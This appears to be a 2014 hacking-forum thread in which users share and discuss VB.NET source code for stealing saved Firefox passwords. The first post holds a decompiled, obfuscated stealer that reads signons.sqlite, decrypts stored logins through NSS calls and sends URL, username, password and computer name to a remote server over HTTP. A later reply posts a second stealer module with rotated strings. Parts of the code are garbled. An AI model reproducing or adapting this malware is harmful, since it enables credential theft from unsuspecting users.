

Forum:[Hack Forums](#)

Thread: [Firefox Password Stealer Source Code](#)

Freaky™ - September 27, 2014, 3:29 am

Can anyone make sense of this code for a firefox password stealer?

```
Code Public Shared Sub GetFF()  
Dim str4 As String = Nothing  
Dim enumerator As IEnumerator  
Dim enumerator2 As IEnumerator  
Dim flag As Boolean = False  
Dim str2 As String = (Environment.GetFolderPath(SpecialFolder.ProgramFiles) & "\Mozilla  
Firefox\  
Dim str5 As String  
For Each str5 In  
Directory.GetDirectories((Environment.GetFolderPath(SpecialFolder.ApplicationData) &  
"\Mozilla\Firefox\Profiles"))  
If flag Then  
Exit For  
End If  
Dim str6 As String  
For Each str6 In Directory.GetFiles(str5)  
If Not flag Then  
If Regex.IsMatch(str6, "signons.sqlite") Then  
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.oivGmTktmoB(str5)  
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.heria = str6  
End If  
Else  
ProjectData.EndApp  
Exit For  
End If  
Next  
Next  
Dim heria As String = QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.heria  
Dim item2 As New TSECIItem  
Dim result As New TSECIItem  
Dim item As New TSECIItem  
Dim base2 As New Base(heria)  
Dim table As DataTable = base2.ExecuteQuery("SELECT * FROM moz_logins;")  
Dim table2 As DataTable = base2.ExecuteQuery("SELECT * FROM moz_disabledHosts;")  
Try  
enumerator = table2.Rows.GetEnumerator  
Do While enumerator.MoveNext  
Dim current As DataRow = DirectCast(enumerator.Current, DataRow)  
str4 = (str4 & Environment.NewLine & "hostname".ToString)  
Loop  
Finally  
If TypeOf enumerator Is IDisposable Then  
TryCast(enumerator, IDisposable).Dispose
```

```
End If
End Try
```

```
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.OMhwbdbdVrvk(QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.bvryeuuo, True, 0)
```

```
Try
```

```
enumerator2 = table.Rows.GetEnumerator
```

```
Do While enumerator2.MoveNext
```

```
Dim buffer2 As Byte()
```

```
Dim row2 As DataRow = DirectCast(enumerator2.Current, DataRow)
```

```
str4 = (str4 & Environment.NewLine & "Application: FireFox")
```

```
Dim str7 As String = Convert.ToString(row2.Item("formSubmitURL").ToString)
```

```
str4 = (str4 & Environment.NewLine & "URL: " & str7)
```

```
Dim inStr As New StringBuilder(row2.Item("encryptedUsername").ToString)
```

```
Dim num3 As Integer =
```

```
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length)
```

```
Dim ptr As New IntPtr(num3)
```

```
Dim data As TSECItem = DirectCast(Marshal.PtrToStructure(ptr, GetType(TSECItem)), TSECItem)
```

```
If ((QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.CqSzxpjJWBHufugp(data, result, 0) = 0)
```

```
AndAlso (result.SECItemLen <> 0)) Then
```

```
buffer2 = New Byte((((result.SECItemLen - 1) + 1) - 1) {}
```

```
ptr = New IntPtr(result.SECItemData)
```

```
Marshal.Copy(ptr, buffer2, 0, result.SECItemLen)
```

```
str4 = (str4 & Environment.NewLine & "Username: " & Encoding.ASCII.GetString(buffer2))
```

```
End If
```

```
Dim builder As New StringBuilder(row2.Item("encryptedPassword").ToString)
```

```
Dim num2 As Integer =
```

```
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, builder, builder.Length)
```

```
ptr = New IntPtr(num2)
```

```
Dim item5 As TSECItem = DirectCast(Marshal.PtrToStructure(ptr, GetType(TSECItem)), TSECItem)
```

```
If ((QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.CqSzxpjJWBHufugp(item5, item, 0) = 0)
```

```
AndAlso (item.SECItemLen <> 0)) Then
```

```
Dim destination As Byte() = New Byte((((item.SECItemLen - 1) + 1) - 1) {}
```

```
ptr = New IntPtr(item.SECItemData)
```

```
Marshal.Copy(ptr, destination, 0, item.SECItemLen)
```

```
str4 = String.Concat(New String() { str4, Environment.NewLine, "Passwort: ", Encoding.ASCII.GetString(destination), Environment.NewLine })
```

```
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.FFString = str4
```

```
New WebClient().DownloadString(String.Concat(New String() {
```

```
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.URL, "?action=add&a=10&u=", str7, "&l=", Encoding.ASCII.GetString(buffer2), "&p=", Encoding.ASCII.GetString(destination), "&c=", MyProject.Computer.Name.ToString )))
```

```
End If
```

```
Loop
```

```
Finally
```

```
If TypeOf enumerator2 Is IDisposable Then
```

```
TryCast(enumerator2, IDisposable).Dispose
```

```
End If
```

```
End Try
```

```
End Sub
```

Source: <http://pastebin.com/cvLgZG01>

SIM-1676753 - September 27, 2014, 7:59 am

What the actual fuck?

Spoiler ([Click to View](#)) You can't even skid code properly. Just stop and learn to actually code.

Freaky™ - September 27, 2014, 1:59 pm

(Sep 27, 2014 07:59 AM)Mr. Trvp Wrote: [\[CITE\]](#)

What the actual fuck?

Spoiler ([Click to View](#)) You can't even skid code properly. Just stop and learn to actually code.

What? I didn't code this. I just want someone to check it to see if it works.

SIM-1676753 - September 27, 2014, 7:24 pm

(Sep 27, 2014 01:59 PM)Xclusive Tech™ Wrote: [\[CITE\]](#) What? I didn't code this. I just want someone to check it to see if it works.

I never stated you coded it. Why don't you open up Visual Studio and check for yourself.

Freaky™ - September 27, 2014, 8:28 pm

(Sep 27, 2014 07:24 PM)Mr. Trvp Wrote: [\[CITE\]](#) I never stated you coded it. Why don't you open up Visual Studio and check for yourself.

I was advised not to by someone on this forum.

SIM-1676753 - September 27, 2014, 8:42 pm

(Sep 27, 2014 08:28 PM)Xclusive Tech™ Wrote: [\[CITE\]](#) I was advised not to by someone on this forum.

What makes you think someone here is going to run it either?

Freaky™ - September 27, 2014, 9:02 pm

(Sep 27, 2014 08:42 PM)Mr. Trvp Wrote: [\[CITE\]](#) What makes you think someone here is going to run it either?

No he just told me seeing as I don't know what it is I shouldn't run it. I was just hoping someone can understand it and tell me that it is fine.

deiski - September 27, 2014, 9:03 pm

It does work, it's just really terrible code.

SIM-1676753 - September 27, 2014, 9:05 pm

(Sep 27, 2014 09:03 PM)9cloud Wrote: [\[CITE\]](#) It does work, it's just really terrible code.

It's just really terrible decompiled code.

LordCoder - September 28, 2014, 12:31 am

Of course you cannot even deobfuscate it and then post it.

Freaky™ - September 28, 2014, 3:08 am

(Sep 28, 2014 12:31 AM)LordCoder Wrote: [\[CITE\]](#) Of course you cannot even deobfuscate it and then post it.

This is just source code I found on pastebin.

coolfire - October 4, 2014, 2:47 pm

Imports System.Runtime.InteropServices

Imports System.Text

Module STFF

Sub FF()

For Each Dir As String In

System.IO.Directory.GetDirectories(Environment.GetEnvironmentVariable("APPDATA") &

CodeRotate.RotateRight("WHjudgg\WAdm`ajsWKmjadg`n"))

Dim dirinfo As New System.IO.DirectoryInfo(Dir)

Dim result As String

Dim spath As String = Environ\$("APPDATA") &

CodeRotate.RotateRight("WHjudgg\WAdm`ajsWKmjadg`nW") & dirinfo.Name &

CodeRotate.RotateRight("*gjbدينenji")

Dim sFile As String = ReadFile(spath)

Dim sHost As String = Cut(sFile, CodeRotate.RotateRight(" `cjnoilh` 5 "),

CodeRotate.RotateRight(" `cookM`lgh "))

Dim sUser As String = Cut(sFile, CodeRotate.RotateRight(" `i^mtko`_Pn`milh` 5 "),

CodeRotate.RotateRight(" `i^mtko`_Klnnrjm_ 5 "))

Dim sPwd As String = Cut(sFile, CodeRotate.RotateRight("`i^mtko`_Klnnrjm_ 5 "),

CodeRotate.RotateRight(" `bpd_"))

result = "Host: " + (sHost) + vbNewLine + "user: " + sUser + vbNewLine + "Pass: " + sPwd

RichTextBox1.text += result

Next

End Sub

Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String

On Error Resume Next

Dim c() As String

Dim c2() As String

c = Split(sInhalt, sText)

c2 = Split(c(1), stext2)

Cut = c2(0)

End Function

Public Class CodeRotate

Public Shared Function RotateRight(ByVal [string] As [String]) As [String]

Dim [retstr] As [String] = [string].Empty

For i As [Int32] = 0 To [string].Length - 1 Step 1

[retstr] += Chr(Asc([string].Chars(i)) + 5)

Next

Return [retstr]

End Function

End Class

Module ReadFile

Function ReadFil(ByVal sFile As String) As String

On Error Resume Next

Dim OpenFile As New System.IO.StreamReader(sFile)

ReadFil = OpenFile.ReadToEnd.ToString

End Function

End Module

End Module

This code is ok but password are crypted.